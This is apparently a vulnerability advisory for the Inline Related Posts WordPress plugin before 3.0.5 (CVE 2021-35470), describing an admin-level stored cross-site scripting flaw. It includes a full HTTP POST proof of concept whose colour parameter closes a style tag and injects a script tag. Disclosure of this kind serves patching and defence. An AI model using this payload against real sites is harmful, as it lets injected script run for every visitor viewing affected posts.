Inline Related Posts < 3.0.5 – Admin+ Cross-Site Scripting | CVE 2021-35470

Description

Multiple parameters are vulnerable to stored Cross-site Scripting. The vulnerabilities require admin privileges to exploit. In each case the script will execute for every user viewing a post that contains one of the inline references.

Proof of Concept

POST /wp-admin/options-general.php?page=intelly-related-posts HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 692
Connection: keep-alive
Cookie: <admin cookies>
Upgrade-Insecure-Requests: 1

irpActive=1&template-ctaText=READ&template-template=Minimalist&template-boxOpacity=90&marginTop=5em&marginBottom=10em&template-ctaTextColor=%231ABC9C%3B%20%7D%3C%2Fstyle%3E%3Cscript%3Ealert%286%29%3B%3C%2Fscript%3E%3Cstyle%3E&template-postTitleColor=%23000000&template-boxColor=%238E44AD&template-borderColor=%2334495E&template-hasShadow=1&template-hasPoweredBy=1&irpRewriteActive=1&irpRewriteBoxesCount=2&irpRewritePostsDays=5&irpRewriteThreshold=240&irpRewriteAtEnd=1&irpRewritePostType_post=1&irpEngineSearch=0&template-linkRel=dofollow&template-linkTarget=_self&metabox_post=1&_wpnonce=d6323339d0&_wp_http_referer=%2Fwp%2Fwp-admin%2Foptions-general.php%3Fpage%3Dintelly-related-posts